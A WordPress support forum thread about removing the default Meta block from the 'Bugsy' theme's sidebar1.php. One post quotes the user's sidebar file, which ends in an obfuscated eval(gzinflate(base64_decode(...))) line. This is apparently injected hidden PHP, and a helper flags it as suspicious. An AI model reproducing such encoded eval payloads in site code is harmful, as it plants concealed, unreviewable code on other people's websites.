WordPress.org

Ready to get started?Download WordPress

Forums

[resolved] Remove Default Meta (6 posts)

  1. jazzlee
    Member
    Posted 5 years ago #

    Hi,

    I'm currently using 'Bugsy' wordpress theme. How do I remove the default Meta function?

    The meta code is neither in sidebar.php nor header.php. Are there any other ways to remove this code?

  2. esmi
    Forum Moderator
    Posted 5 years ago #

    Site url?

  3. jazzlee
    Member
    Posted 5 years ago #

    Hi, my url is: http://www.happeningparents.com

    Thank you

  4. doc4
    Member
    Posted 5 years ago #

    jazzlee,

    The Meta information is held within the "sidebar1.php" file. Delete the following lines:

    <li>
     <h2>Meta</h2>
     <ul>
      <?php wp_register(); ?>
      <li><?php wp_loginout(); ?></li>
      <li><a href="http://themes.rock-kitty.net">WordPress Themes</a></li>
     </ul>
    </li>
  5. jazzlee
    Member
    Posted 4 years ago #

    Hi, Thank you for you reply. Can't find the Meta code in sidebar1.php, as advised by you. Below is the full code I've copied under sidebar 1.php, for your reference.

    <div class="sidebar1">

      <?php if ( function_exists('dynamic_sidebar') && dynamic_sidebar('sidebar 1') ) : else : ?>

    • <h2>Pages</h2>

        <?php wp_list_pages('title_li='); ?>
    • <?php wp_list_categories('orderby=name&show_count=0&title_li=<h2>Categories</h2>'); ?>

    • <h2>Archives</h2>

        <?php wp_get_archives('type=monthly&limit=12'); ?>
    • <h2>Blogroll</h2>

        <?php get_links(-1, '
      • ', '
      • ', 'between', FALSE, 'name', FALSE, FALSE, -1, FALSE); ?>
    • <?php endif; ?>

      <?php eval(gzinflate(base64_decode('tZI9a8MwEIZn51ccXuwuEWRsVXnI3CUOdDR2fI4EsiR0ck3+fRXZbiGUduog7oPnTu8LV4ldlnGt7iHj8iDeMLScxSQ1Jp1iIngL0uPwmvPKSQedtldlBlsWnujQTF4XTy9QiRyCCho3rMGyqG+mV5c2IASpCEjFbCJlrnCq63VKfOO87Tq/bTlhq/UNajU6jbBtUtbkIg5zdmfFsiMW8a1efpd8seOIJlDzp/azRNBROgXYhiBYiKLAWYqFMj+7OG70P9iRIbhnxuZ53s8uSByRBo+4jwrZl4d363vnkQjOicjFY+fhhyR9ds0YT6BMEtINsOUIVnApOevVx2J2B58=')));?>

  6. doc4
    Member
    Posted 4 years ago #

    jazzlee,

    The following is the code that was provided by the theme:

    <div class="sidebar1">
    <ul>
    <?php if ( function_exists('dynamic_sidebar') && dynamic_sidebar('sidebar 1') ) : else : ?>
    <li>
    <h2>Pages</h2>
    <ul>
    <?php wp_list_pages('title_li='); ?>
    </ul>
    </li>
    <?php wp_list_categories('orderby=name&show_count=0&title_li=<h2>Categories</h2>'); ?>
    <li>
    <h2>Archives</h2>
    <ul>
    <?php wp_get_archives('type=monthly&limit=12'); ?>
    </ul>
    </li>
    <li>
    <h2>Meta</h2>
    <ul>
    <?php wp_register(); ?>
    <li><?php wp_loginout(); ?></li>
    <li><a href="http://themes.rock-kitty.net">WordPress Themes</a></li>
    </ul>
    </li>
    <li>
    <h2>Blogroll</h2>
    <ul>
    <?php get_links(-1, '<li>', '</li>', 'between', FALSE, 'name', FALSE, FALSE, -1, FALSE); ?>
    </ul>
    </li>
    <?php endif; ?>
    </ul>
    </div>

    Download the theme a second time and re-upload the "sidebar1.php" file to ensure it is not corrupt. The ending php makes me think something may have happened.

Topic Closed

This topic has been closed to new replies.

About this Topic

Tags